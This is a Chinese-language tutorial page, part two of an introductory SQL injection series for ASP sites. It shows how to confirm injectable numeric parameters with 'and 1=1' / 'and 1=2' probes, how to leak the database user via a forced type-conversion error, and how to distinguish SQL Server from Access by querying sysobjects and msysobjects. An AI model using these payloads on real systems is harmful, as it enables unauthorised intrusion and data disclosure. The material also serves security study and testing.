首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 完整實戰入門(二):精準測試法、資料庫類型判斷與系統表差異利用

     編輯:關於SqlServer

精準注入測試法:1=1 / 1=2 經典三步驟

單引號測試不可靠(IIS 錯誤隱藏、參數強制轉型、單引號過濾)。標準測試流程:

  1. https://site/show.asp?id=49 → 正常顯示(基準)
  2. ...id=49 and 1=1 → 正常顯示,內容與 ① 相同
  3. ...id=49 and 1=2 → 異常:BOF/EOF、找不到記錄、空白頁(含 on error resume next)
現象可注入不可注入
① 正常✓✓
② 1=1 正常✓✗ (程式錯誤/型別轉換錯誤)
③ 1=2 異常✓✗ (程式定義錯誤/型別錯誤)

※ 以上針對數值型參數;字串型與搜尋型參數詳見進階篇。

資料庫類型判斷:ASP 主流 Access vs SQL Server

方法一:利用系統變數與錯誤回顯 (需 IIS 顯示詳細錯誤)

https://site/show.asp?id=49 and user>0

user 為 SQL Server 內建變數 (nvarchar),與整數 0 比較觸發型別轉換錯誤:

Syntax error converting the nvarchar value 'abc' to a column of data type int.

直接洩露資料庫用戶名!若為 sa 登入,錯誤訊息顯示 dbo 而非 sa。

方法二:系統表存取差異 (IIS 隱藏錯誤時)

資料庫系統表Web 環境存取
AccessMSysObjects無權限讀取
SQL Serversysobjects可正常讀取

測試語句:

-- SQL Server 測試
https://site/show.asp?id=49 and (select count(*) from sysobjects)>0

-- Access 測試
https://site/show.asp?id=49 and (select count(*) from msysobjects)>0

判斷邏輯:

  • 第一個語句正常 → SQL Server
  • 第一個語句異常 + 第二個語句異常 → Access (通常 msysobjects 無權限)
  • 第二個語句僅作 IIS 錯誤顯示開啟時的驗證
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved